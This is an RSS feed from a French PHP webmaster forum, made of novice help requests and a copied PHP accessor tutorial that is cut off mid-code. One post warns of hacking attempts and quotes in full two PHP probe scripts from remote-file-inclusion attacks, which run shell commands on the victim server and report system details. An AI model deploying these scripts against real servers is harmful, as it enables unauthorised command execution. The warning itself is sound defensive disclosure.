<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title><![CDATA[Forum de la C-P-F - Tous les forums]]></title>
		<link>http://www.c-p-f.org/forum/</link>
		<description><![CDATA[Forum de la C-P-F - http://www.c-p-f.org/forum]]></description>
		<pubDate>Tue, 13 May 2008 20:22:02 +0200</pubDate>
		<generator>MyBB</generator>
		<item>
			<title><![CDATA[code video pour swf]]></title>
			<link>http://www.c-p-f.org/forum/showthread.php?tid=87</link>
			<pubDate>Mon, 31 Mar 2008 13:31:11 +0200</pubDate>
			<guid isPermaLink="false">http://www.c-p-f.org/forum/showthread.php?tid=87</guid>
			<description><![CDATA[mon soucis est  que je  doit sur mon forum  dans une partie  privee mettre des video  mais  en  swf  avec lecteur  qui  sont stockee dans un dossier  sur mon  ftp   et  j'ai pas  trouver  de plugin  qui  fais ca  quelqu'un peu  m'aider   merci  je  suis  vraiment  novice]]></description>
			<content:encoded><![CDATA[mon soucis est  que je  doit sur mon forum  dans une partie  privee mettre des video  mais  en  swf  avec lecteur  qui  sont stockee dans un dossier  sur mon  ftp   et  j'ai pas  trouver  de plugin  qui  fais ca  quelqu'un peu  m'aider   merci  je  suis  vraiment  novice]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[forcer un telechargement mp3]]></title>
			<link>http://www.c-p-f.org/forum/showthread.php?tid=86</link>
			<pubDate>Sat, 15 Mar 2008 23:55:38 +0100</pubDate>
			<guid isPermaLink="false">http://www.c-p-f.org/forum/showthread.php?tid=86</guid>
			<description><![CDATA[bonjour,<br />
<br />
pouvez vous m'aider concernant pour forcer un telechargement d'un mp3.<br />
c'est a dire, les choses a modifier dans le code pour pouvoir l'utiliser sur mon site web.<br />
<br />
on va dire que l'url est http://www.monsite.fr (pour ne pas faire de pub)<br />
<br />
mes mp3 sont stocker sur un autre hebergement : voici un lien d'un mp3<br />
<br />
<br />
si vous pouvez me mettre en detail ce que j'ai a faire avec vos script dapres les infos que je vous est donnais ca sera cool.<br />
http://www.c-p-f.org/php-Forcer_le_telec...r-a10.html<br />
<br />
je vous remerci]]></description>
			<content:encoded><![CDATA[bonjour,<br />
<br />
pouvez vous m'aider concernant pour forcer un telechargement d'un mp3.<br />
c'est a dire, les choses a modifier dans le code pour pouvoir l'utiliser sur mon site web.<br />
<br />
on va dire que l'url est http://www.monsite.fr (pour ne pas faire de pub)<br />
<br />
mes mp3 sont stocker sur un autre hebergement : voici un lien d'un mp3<br />
<br />
<br />
si vous pouvez me mettre en detail ce que j'ai a faire avec vos script dapres les infos que je vous est donnais ca sera cool.<br />
http://www.c-p-f.org/php-Forcer_le_telec...r-a10.html<br />
<br />
je vous remerci]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Faire un dump d'une base MySQL]]></title>
			<link>http://www.c-p-f.org/forum/showthread.php?tid=85</link>
			<pubDate>Sun, 20 Jan 2008 21:42:52 +0100</pubDate>
			<guid isPermaLink="false">http://www.c-p-f.org/forum/showthread.php?tid=85</guid>
			<description><![CDATA[Bonjour<br />
<br />
J'attaque php mais c'est dur<br />
<br />
Votre script m'intéresse Faire un dump d'une base MySQL, mais j'avoue ne pas comprendre la fonctionnalité,<br />
Merci de m'aider]]></description>
			<content:encoded><![CDATA[Bonjour<br />
<br />
J'attaque php mais c'est dur<br />
<br />
Votre script m'intéresse Faire un dump d'une base MySQL, mais j'avoue ne pas comprendre la fonctionnalité,<br />
Merci de m'aider]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[spatricia5]]></title>
			<link>http://www.c-p-f.org/forum/showthread.php?tid=84</link>
			<pubDate>Tue, 08 Jan 2008 14:06:28 +0100</pubDate>
			<guid isPermaLink="false">http://www.c-p-f.org/forum/showthread.php?tid=84</guid>
			<description><![CDATA[Bonjour  je  suis une  novice  dans les  forums  et  j'en ai  un  comme je  debute  je me  renseigne partout  je  cherche  beaucoups  d'aide pour  eviter  de faire  des  betises  bref  je  m'appel patricia  j'ai  50 ans  je  suis  en  suisse   vala   merci  pour  ce forum instructif]]></description>
			<content:encoded><![CDATA[Bonjour  je  suis une  novice  dans les  forums  et  j'en ai  un  comme je  debute  je me  renseigne partout  je  cherche  beaucoups  d'aide pour  eviter  de faire  des  betises  bref  je  m'appel patricia  j'ai  50 ans  je  suis  en  suisse   vala   merci  pour  ce forum instructif]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[problemes connection!!]]></title>
			<link>http://www.c-p-f.org/forum/showthread.php?tid=83</link>
			<pubDate>Mon, 26 Nov 2007 18:37:16 +0100</pubDate>
			<guid isPermaLink="false">http://www.c-p-f.org/forum/showthread.php?tid=83</guid>
			<description><![CDATA[voila donc j'arrive ni a me connecter ni a me deconnecter sur mon forum!<br />
eu debut j'été connecté sous le pseudo admin, j'ai voulu me déconnecter pour changer un truc, c'été impossible, j'ai due vidé le cach pour que je sois déconnécté.<br />
aprés ça il m'est impossible de me reconnecter!!! je met mon pseudo et pass tout est oki!! mais je retourne sur la page principale déconnecté!!<br />
<br />
voici un login test avec le pass si vous vouslez voir ce que ça fait<br />
login : test123<br />
pass : test123<br />
<br />
forum: http://www.ffv.reunis.fr<br />
<br />
PS : le porblelme a commencé aprés que j'ai changé le pass MySQL( j'ai meme changé dans le fichier config.php)<br />
<br />
Merci de me repondre.]]></description>
			<content:encoded><![CDATA[voila donc j'arrive ni a me connecter ni a me deconnecter sur mon forum!<br />
eu debut j'été connecté sous le pseudo admin, j'ai voulu me déconnecter pour changer un truc, c'été impossible, j'ai due vidé le cach pour que je sois déconnécté.<br />
aprés ça il m'est impossible de me reconnecter!!! je met mon pseudo et pass tout est oki!! mais je retourne sur la page principale déconnecté!!<br />
<br />
voici un login test avec le pass si vous vouslez voir ce que ça fait<br />
login : test123<br />
pass : test123<br />
<br />
forum: http://www.ffv.reunis.fr<br />
<br />
PS : le porblelme a commencé aprés que j'ai changé le pass MySQL( j'ai meme changé dans le fichier config.php)<br />
<br />
Merci de me repondre.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[insérer un chat dans un portail de forum]]></title>
			<link>http://www.c-p-f.org/forum/showthread.php?tid=82</link>
			<pubDate>Mon, 19 Nov 2007 14:08:26 +0100</pubDate>
			<guid isPermaLink="false">http://www.c-p-f.org/forum/showthread.php?tid=82</guid>
			<description><![CDATA[Bonjour a tous, je m'occupe d'un forum sur le rugby, le portail possède une chat box, mais c'est pas tres pratique pour communiquer...<br />
<br />
Je cherche donc à insérer un chat dans un module du portail, mais je sais pas du tout comment faire?<br />
Merci de votre attention....:)]]></description>
			<content:encoded><![CDATA[Bonjour a tous, je m'occupe d'un forum sur le rugby, le portail possède une chat box, mais c'est pas tres pratique pour communiquer...<br />
<br />
Je cherche donc à insérer un chat dans un module du portail, mais je sais pas du tout comment faire?<br />
Merci de votre attention....:)]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[faites confiance à orange.fr]]></title>
			<link>http://www.c-p-f.org/forum/showthread.php?tid=81</link>
			<pubDate>Wed, 07 Nov 2007 15:48:14 +0100</pubDate>
			<guid isPermaLink="false">http://www.c-p-f.org/forum/showthread.php?tid=81</guid>
			<description><![CDATA[J'essaye d'envoyer un mail à un abonné orange...<br />
retour du serveur mail:<br />
<br />
SMTP server a écrit :This is the SMTP Server program at host orange.fr.<br />
<br />
I'm sorry to have to inform you that your message could not be<br />
be delivered to one or more recipients. It's attached below.<br />
<br />
For further assistance, please send mail to <br />
<br />
If you do so, please include this problem report. You can<br />
delete your own text from the attached returned message.<br />
<br />
                       The SMTP Server program<br />
<br />
: Command died with status 3:<br />
   "/wanadoo/postfix/libexec/me-filter". Command output: Can't open file<br />
   'wordlist.db' in directory '/wanadoo/bogofilter'. error #22 - Invalid<br />
   argument.  Make sure that the database version this program is linked<br />
   against can handle the format of the data base file (after updates in<br />
   particular).<br />
<br />
<br />
Final-Recipient: rfc822; xxxxxxxx@orange.fr<br />
Action: failed<br />
Status: 5.0.0<br />
Diagnostic-Code: X-SMTP-Server; Command died with status 3:<br />
   "/wanadoo/postfix/libexec/me-filter". Command output: Can't open file<br />
   'wordlist.db' in directory '/wanadoo/bogofilter'. error #22 - Invalid<br />
   argument.  Make sure that the database version this program is linked<br />
   against can handle the format of the data base file (after updates in<br />
   particular).<br />
<br />
Donc, je forwarde comme demandé à postmaster:<br />
<br />
SMTP server a écrit :This is the SMTP Server program at host orange.fr.<br />
<br />
I'm sorry to have to inform you that your message could not be<br />
be delivered to one or more recipients. It's attached below.<br />
<br />
For further assistance, please send mail to <br />
<br />
If you do so, please include this problem report. You can<br />
delete your own text from the attached returned message.<br />
<br />
                       The SMTP Server program<br />
<br />
<br />
: Command died with status 3:<br />
<br />
- Afficher le texte des messages précédents -<br />
   "/wanadoo/postfix/libexec/me-filter". Command output: Can't open file<br />
   'wordlist.db' in directory '/wanadoo/bogofilter'. error #22 - Invalid<br />
   argument.  Make sure that the database version this program is linked<br />
   against can handle the format of the data base file (after updates in<br />
   particular).<br />
<br />
<br />
Final-Recipient: rfc822; postmaster@orange.fr<br />
Action: failed<br />
Status: 5.0.0<br />
Diagnostic-Code: X-SMTP-Server; Command died with status 3:<br />
   "/wanadoo/postfix/libexec/me-filter". Command output: Can't open file<br />
   'wordlist.db' in directory '/wanadoo/bogofilter'. error #22 - Invalid<br />
   argument.  Make sure that the database version this program is linked<br />
   against can handle the format of the data base file (after updates in<br />
   particular).<br />
<br />
Maintenant, je fais quoi? je transfère à postmaster@orange.fr le message me disant qu'il n'est pas accessible?]]></description>
			<content:encoded><![CDATA[J'essaye d'envoyer un mail à un abonné orange...<br />
retour du serveur mail:<br />
<br />
SMTP server a écrit :This is the SMTP Server program at host orange.fr.<br />
<br />
I'm sorry to have to inform you that your message could not be<br />
be delivered to one or more recipients. It's attached below.<br />
<br />
For further assistance, please send mail to <br />
<br />
If you do so, please include this problem report. You can<br />
delete your own text from the attached returned message.<br />
<br />
                       The SMTP Server program<br />
<br />
: Command died with status 3:<br />
   "/wanadoo/postfix/libexec/me-filter". Command output: Can't open file<br />
   'wordlist.db' in directory '/wanadoo/bogofilter'. error #22 - Invalid<br />
   argument.  Make sure that the database version this program is linked<br />
   against can handle the format of the data base file (after updates in<br />
   particular).<br />
<br />
<br />
Final-Recipient: rfc822; xxxxxxxx@orange.fr<br />
Action: failed<br />
Status: 5.0.0<br />
Diagnostic-Code: X-SMTP-Server; Command died with status 3:<br />
   "/wanadoo/postfix/libexec/me-filter". Command output: Can't open file<br />
   'wordlist.db' in directory '/wanadoo/bogofilter'. error #22 - Invalid<br />
   argument.  Make sure that the database version this program is linked<br />
   against can handle the format of the data base file (after updates in<br />
   particular).<br />
<br />
Donc, je forwarde comme demandé à postmaster:<br />
<br />
SMTP server a écrit :This is the SMTP Server program at host orange.fr.<br />
<br />
I'm sorry to have to inform you that your message could not be<br />
be delivered to one or more recipients. It's attached below.<br />
<br />
For further assistance, please send mail to <br />
<br />
If you do so, please include this problem report. You can<br />
delete your own text from the attached returned message.<br />
<br />
                       The SMTP Server program<br />
<br />
<br />
: Command died with status 3:<br />
<br />
- Afficher le texte des messages précédents -<br />
   "/wanadoo/postfix/libexec/me-filter". Command output: Can't open file<br />
   'wordlist.db' in directory '/wanadoo/bogofilter'. error #22 - Invalid<br />
   argument.  Make sure that the database version this program is linked<br />
   against can handle the format of the data base file (after updates in<br />
   particular).<br />
<br />
<br />
Final-Recipient: rfc822; postmaster@orange.fr<br />
Action: failed<br />
Status: 5.0.0<br />
Diagnostic-Code: X-SMTP-Server; Command died with status 3:<br />
   "/wanadoo/postfix/libexec/me-filter". Command output: Can't open file<br />
   'wordlist.db' in directory '/wanadoo/bogofilter'. error #22 - Invalid<br />
   argument.  Make sure that the database version this program is linked<br />
   against can handle the format of the data base file (after updates in<br />
   particular).<br />
<br />
Maintenant, je fais quoi? je transfère à postmaster@orange.fr le message me disant qu'il n'est pas accessible?]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Tentatives de hack]]></title>
			<link>http://www.c-p-f.org/forum/showthread.php?tid=80</link>
			<pubDate>Tue, 06 Nov 2007 09:46:39 +0100</pubDate>
			<guid isPermaLink="false">http://www.c-p-f.org/forum/showthread.php?tid=80</guid>
			<description><![CDATA[Je viens de m'apercevoir que certains visiteurs tentent de hacker le site pour récupérer des infos diverses... si j'en parle ici, c'est parce que cela peut intéresser la plupart des webmasters.<br />
<br />
La méthode utilisée consiste à essayer de déclencher un script distant (sur le serveur du hackeur) qui va exécuter une commande sur votre propre serveur.<br />
<br />
Pour l'instant, j'ai trouvé 3 adresses en cause:<br />
aspato-go.com, gigateen.com et olympe-network.com.<br />
<br />
Les scripts qui essayent d'être lancés sont:<br />
Code PHP :<br />
&lt;?<br />
$dir = @getcwd&#40;&#41;;<br />
$ker = @php_uname&#40;&#41;;<br />
echo &quot;31337&lt;br&gt;&quot;;<br />
$OS = @PHP_OS;<br />
echo &quot;&lt;br&gt;OSTYPE:$OS&lt;br&gt;&quot;;<br />
echo &quot;&lt;br&gt;Kernel:$ker&lt;br&gt;&quot;;<br />
$free = disk_free_space&#40;$dir&#41;; <br />
if &#40;$free === FALSE&#41; &#123;$free = 0;&#125; <br />
if &#40;$free &lt; 0&#41; &#123;$free = 0;&#125; <br />
echo &quot;Free:&quot;.view_size&#40;$free&#41;.&quot;&lt;br&gt;&quot;; <br />
$cmd=&quot;id&quot;;<br />
$eseguicmd=ex&#40;$cmd&#41;;<br />
echo $eseguicmd;<br />
function ex&#40;$cfe&#41;&#123;<br />
$res = '';<br />
if &#40;!empty&#40;$cfe&#41;&#41;&#123;<br />
if&#40;function_exists&#40;'exec'&#41;&#41;&#123;<br />
@exec&#40;$cfe,$res&#41;;<br />
$res = join&#40;&quot;\n&quot;,$res&#41;;<br />
&#125;<br />
elseif&#40;function_exists&#40;'shell_exec'&#41;&#41;&#123;<br />
$res = @shell_exec&#40;$cfe&#41;;<br />
&#125;<br />
elseif&#40;function_exists&#40;'system'&#41;&#41;&#123;<br />
@ob_start&#40;&#41;;<br />
@system&#40;$cfe&#41;;<br />
$res = @ob_get_contents&#40;&#41;;<br />
@ob_end_clean&#40;&#41;;<br />
&#125;<br />
elseif&#40;function_exists&#40;'passthru'&#41;&#41;&#123;<br />
@ob_start&#40;&#41;;<br />
@passthru&#40;$cfe&#41;;<br />
$res = @ob_get_contents&#40;&#41;;<br />
@ob_end_clean&#40;&#41;;<br />
&#125;<br />
elseif&#40;@is_resource&#40;$f = @popen&#40;$cfe,&quot;r&quot;&#41;&#41;&#41;&#123;<br />
$res = &quot;&quot;;<br />
while&#40;!@feof&#40;$f&#41;&#41; &#123; $res .= @fread&#40;$f,1024&#41;; &#125;<br />
@pclose&#40;$f&#41;;<br />
&#125;&#125;<br />
return $res;<br />
&#125;<br />
function view_size&#40;$size&#41; <br />
&#123; <br />
if &#40;!is_numeric&#40;$size&#41;&#41; &#123;return FALSE;&#125; <br />
else <br />
&#123; <br />
if &#40;$size &gt;= 1073741824&#41; &#123;$size = round&#40;$size/1073741824*100&#41;/100 .&quot; GB&quot;;&#125; <br />
elseif &#40;$size &gt;= 1048576&#41; &#123;$size = round&#40;$size/1048576*100&#41;/100 .&quot; MB&quot;;&#125; <br />
elseif &#40;$size &gt;= 1024&#41; &#123;$size = round&#40;$size/1024*100&#41;/100 .&quot; KB&quot;;&#125; <br />
else &#123;$size = $size . &quot; B&quot;;&#125; <br />
return $size; <br />
&#125;<br />
&#125;<br />
<br />
Code PHP :<br />
&lt;?php<br />
echo &quot;Mic22&quot;;<br />
$cmd=&quot;id&quot;;<br />
$eseguicmd=ex&#40;$cmd&#41;;<br />
echo $eseguicmd;<br />
<br />
function ex&#40;$cfe&#41;&#123;<br />
$res = '';<br />
if &#40;!empty&#40;$cfe&#41;&#41;&#123;<br />
if&#40;function_exists&#40;'exec'&#41;&#41;&#123;<br />
@exec&#40;$cfe,$res&#41;;<br />
$res = join&#40;&quot;\n&quot;,$res&#41;;<br />
&#125;<br />
elseif&#40;function_exists&#40;'shell_exec'&#41;&#41;&#123;<br />
$res = @shell_exec&#40;$cfe&#41;;<br />
&#125;<br />
elseif&#40;function_exists&#40;'system'&#41;&#41;&#123;<br />
@ob_start&#40;&#41;;<br />
@system&#40;$cfe&#41;;<br />
$res = @ob_get_contents&#40;&#41;;<br />
@ob_end_clean&#40;&#41;;<br />
&#125;<br />
elseif&#40;function_exists&#40;'passthru'&#41;&#41;&#123;<br />
@ob_start&#40;&#41;;<br />
@passthru&#40;$cfe&#41;;<br />
$res = @ob_get_contents&#40;&#41;;<br />
@ob_end_clean&#40;&#41;;<br />
&#125;<br />
elseif&#40;@is_resource&#40;$f = @popen&#40;$cfe,&quot;r&quot;&#41;&#41;&#41;&#123;<br />
$res = &quot;&quot;;<br />
while&#40;!@feof&#40;$f&#41;&#41; &#123; $res .= @fread&#40;$f,1024&#41;; &#125;<br />
@pclose&#40;$f&#41;;<br />
&#125;&#125;<br />
return $res;<br />
&#125;<br />
exit;<br />
<br />
Olympe-Network a supprimé le compte en cause, mais je vais prendre contact avec les autres hébergeurs...]]></description>
			<content:encoded><![CDATA[Je viens de m'apercevoir que certains visiteurs tentent de hacker le site pour récupérer des infos diverses... si j'en parle ici, c'est parce que cela peut intéresser la plupart des webmasters.<br />
<br />
La méthode utilisée consiste à essayer de déclencher un script distant (sur le serveur du hackeur) qui va exécuter une commande sur votre propre serveur.<br />
<br />
Pour l'instant, j'ai trouvé 3 adresses en cause:<br />
aspato-go.com, gigateen.com et olympe-network.com.<br />
<br />
Les scripts qui essayent d'être lancés sont:<br />
Code PHP :<br />
&lt;?<br />
$dir = @getcwd&#40;&#41;;<br />
$ker = @php_uname&#40;&#41;;<br />
echo &quot;31337&lt;br&gt;&quot;;<br />
$OS = @PHP_OS;<br />
echo &quot;&lt;br&gt;OSTYPE:$OS&lt;br&gt;&quot;;<br />
echo &quot;&lt;br&gt;Kernel:$ker&lt;br&gt;&quot;;<br />
$free = disk_free_space&#40;$dir&#41;; <br />
if &#40;$free === FALSE&#41; &#123;$free = 0;&#125; <br />
if &#40;$free &lt; 0&#41; &#123;$free = 0;&#125; <br />
echo &quot;Free:&quot;.view_size&#40;$free&#41;.&quot;&lt;br&gt;&quot;; <br />
$cmd=&quot;id&quot;;<br />
$eseguicmd=ex&#40;$cmd&#41;;<br />
echo $eseguicmd;<br />
function ex&#40;$cfe&#41;&#123;<br />
$res = '';<br />
if &#40;!empty&#40;$cfe&#41;&#41;&#123;<br />
if&#40;function_exists&#40;'exec'&#41;&#41;&#123;<br />
@exec&#40;$cfe,$res&#41;;<br />
$res = join&#40;&quot;\n&quot;,$res&#41;;<br />
&#125;<br />
elseif&#40;function_exists&#40;'shell_exec'&#41;&#41;&#123;<br />
$res = @shell_exec&#40;$cfe&#41;;<br />
&#125;<br />
elseif&#40;function_exists&#40;'system'&#41;&#41;&#123;<br />
@ob_start&#40;&#41;;<br />
@system&#40;$cfe&#41;;<br />
$res = @ob_get_contents&#40;&#41;;<br />
@ob_end_clean&#40;&#41;;<br />
&#125;<br />
elseif&#40;function_exists&#40;'passthru'&#41;&#41;&#123;<br />
@ob_start&#40;&#41;;<br />
@passthru&#40;$cfe&#41;;<br />
$res = @ob_get_contents&#40;&#41;;<br />
@ob_end_clean&#40;&#41;;<br />
&#125;<br />
elseif&#40;@is_resource&#40;$f = @popen&#40;$cfe,&quot;r&quot;&#41;&#41;&#41;&#123;<br />
$res = &quot;&quot;;<br />
while&#40;!@feof&#40;$f&#41;&#41; &#123; $res .= @fread&#40;$f,1024&#41;; &#125;<br />
@pclose&#40;$f&#41;;<br />
&#125;&#125;<br />
return $res;<br />
&#125;<br />
function view_size&#40;$size&#41; <br />
&#123; <br />
if &#40;!is_numeric&#40;$size&#41;&#41; &#123;return FALSE;&#125; <br />
else <br />
&#123; <br />
if &#40;$size &gt;= 1073741824&#41; &#123;$size = round&#40;$size/1073741824*100&#41;/100 .&quot; GB&quot;;&#125; <br />
elseif &#40;$size &gt;= 1048576&#41; &#123;$size = round&#40;$size/1048576*100&#41;/100 .&quot; MB&quot;;&#125; <br />
elseif &#40;$size &gt;= 1024&#41; &#123;$size = round&#40;$size/1024*100&#41;/100 .&quot; KB&quot;;&#125; <br />
else &#123;$size = $size . &quot; B&quot;;&#125; <br />
return $size; <br />
&#125;<br />
&#125;<br />
<br />
Code PHP :<br />
&lt;?php<br />
echo &quot;Mic22&quot;;<br />
$cmd=&quot;id&quot;;<br />
$eseguicmd=ex&#40;$cmd&#41;;<br />
echo $eseguicmd;<br />
<br />
function ex&#40;$cfe&#41;&#123;<br />
$res = '';<br />
if &#40;!empty&#40;$cfe&#41;&#41;&#123;<br />
if&#40;function_exists&#40;'exec'&#41;&#41;&#123;<br />
@exec&#40;$cfe,$res&#41;;<br />
$res = join&#40;&quot;\n&quot;,$res&#41;;<br />
&#125;<br />
elseif&#40;function_exists&#40;'shell_exec'&#41;&#41;&#123;<br />
$res = @shell_exec&#40;$cfe&#41;;<br />
&#125;<br />
elseif&#40;function_exists&#40;'system'&#41;&#41;&#123;<br />
@ob_start&#40;&#41;;<br />
@system&#40;$cfe&#41;;<br />
$res = @ob_get_contents&#40;&#41;;<br />
@ob_end_clean&#40;&#41;;<br />
&#125;<br />
elseif&#40;function_exists&#40;'passthru'&#41;&#41;&#123;<br />
@ob_start&#40;&#41;;<br />
@passthru&#40;$cfe&#41;;<br />
$res = @ob_get_contents&#40;&#41;;<br />
@ob_end_clean&#40;&#41;;<br />
&#125;<br />
elseif&#40;@is_resource&#40;$f = @popen&#40;$cfe,&quot;r&quot;&#41;&#41;&#41;&#123;<br />
$res = &quot;&quot;;<br />
while&#40;!@feof&#40;$f&#41;&#41; &#123; $res .= @fread&#40;$f,1024&#41;; &#125;<br />
@pclose&#40;$f&#41;;<br />
&#125;&#125;<br />
return $res;<br />
&#125;<br />
exit;<br />
<br />
Olympe-Network a supprimé le compte en cause, mais je vais prendre contact avec les autres hébergeurs...]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[PHP5] Simuler des accesseurs]]></title>
			<link>http://www.c-p-f.org/forum/showthread.php?tid=79</link>
			<pubDate>Tue, 23 Oct 2007 16:13:31 +0200</pubDate>
			<guid isPermaLink="false">http://www.c-p-f.org/forum/showthread.php?tid=79</guid>
			<description><![CDATA[Ceci est une copié éhontée de http://virginie.mathey.co.uk/index.php?2...urs-en-php parce que je ne tient pas à perdre ce tutorial<br />
<br />
Tout développeur sait qu'après l'écriture des attributs d'une classe vient la fastidieuse tâche de rédaction des accesseurs. Alors, plutôt que de perdre son temps à faire un get et un set par attribut pourquoi ne pas simuler les accesseurs et en écrire seulement deux génériques ?<br />
<br />
Pour ce faire, il faut connaître la méthode __call de PHP. Cette dernière permet d'attraper tout appel à une méthode inexistante.<br />
<br />
L'exemple de code suivant permet d'accèder aux attributs lastname, firstname et age en simulant les get et set correpondant:<br />
<br />
La class utils qui simule les accesseurs:<br />
Code PHP :<br />
abstract class utils<br />
&#123;<br />
&nbsp; &nbsp; &nbsp; &nbsp; public function __call&#40; $_method, $_attributes &#41; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &#123;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $prefix = substr&#40; $_method, 0, 3 &#41;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $suffix = substr&#40; $_method, 4 &#41;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $c_attributes = count&#40; $_attributes &#41;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&#40; property_exists&#40; $this, $suffix &#41; &#41;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#123;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&#40; $prefix == 'set' && $c_attributes &#41;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#123;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return $this-&gt;set&#40; $suffix, $_attributes&#91;0&#93; &#41;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#125;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&#40; $prefix == 'get' && !$c_attributes &#41;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#123;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return $this-&gt;get&#40; $suffix &#41;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#125;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#125;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#123;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; trigger_error&#40; &quot;The method &quot;. $_method .&quot; does not exist&quot;, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; E_USER_ERROR &#41;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#125;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &#125;<br />
&#125;<br />
<br />
<br />
La classe possèdant les attributs:<br />
Code PHP :<br />
require 'utils.php'<br />
<br />
class user extends utils<br />
&#123;<br />
&nbsp; &nbsp; &nbsp; &nbsp; // Attributs<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; protected $lastname;<br />
&nbsp; &nbsp; &nbsp; &nbsp; protected $firstname;<br />
&nbsp; &nbsp; &nbsp; &nbsp; protected $age;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; // Get et Set génériques<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public function get&#40; $_v &#41;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &#123;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return $this-&gt;$_v;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &#125;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public function set&#40; $_v, $_a &#41;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &#123;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $this-&gt;$_v = $_a;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &#125;<br />
&#125;<br />
<br />
<br />
Création d'un objet et accès aux attributs (appel des accesseurs simulés):<br />
Code PHP :<br />
// Création d'un objet user<br />
$paul = new user&#40;&#41;;<br />
<br />
// Affectation des attributs<br />
$paul-&gt;set_lastname&#40; &quot;dupont&quot; &#41;;<br />
$paul-&gt;set_firstname&#40; &quot;arnaud&quot; &#41;;<br />
$paul-&gt;set_age&#40; 25 &#41;;<br />
<br />
// Lecture des attributs<br />
echo &quot;Nom: &quot; . $paul-&gt;get_lastname&#40;&#41; . &quot;<br />
&quot;;<br />
echo &quot;Prénom: &quot; . $paul-&gt;get_firstname&#40;&#41; . &quot;<br />
&quot;;<br />
echo &quot;Age: &quot; . $paul-&gt;get_age&#40;&#41; . &quot;<br />
&quot;;<br />
<br />
<br />
Note: La classe utils étant une classe abstraite tous les attributs privés (plutôt que protected) n'auront pas d'accesseurs simulés.]]></description>
			<content:encoded><![CDATA[Ceci est une copié éhontée de http://virginie.mathey.co.uk/index.php?2...urs-en-php parce que je ne tient pas à perdre ce tutorial<br />
<br />
Tout développeur sait qu'après l'écriture des attributs d'une classe vient la fastidieuse tâche de rédaction des accesseurs. Alors, plutôt que de perdre son temps à faire un get et un set par attribut pourquoi ne pas simuler les accesseurs et en écrire seulement deux génériques ?<br />
<br />
Pour ce faire, il faut connaître la méthode __call de PHP. Cette dernière permet d'attraper tout appel à une méthode inexistante.<br />
<br />
L'exemple de code suivant permet d'accèder aux attributs lastname, firstname et age en simulant les get et set correpondant:<br />
<br />
La class utils qui simule les accesseurs:<br />
Code PHP :<br />
abstract class utils<br />
&#123;<br />
&nbsp; &nbsp; &nbsp; &nbsp; public function __call&#40; $_method, $_attributes &#41; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &#123;<br />
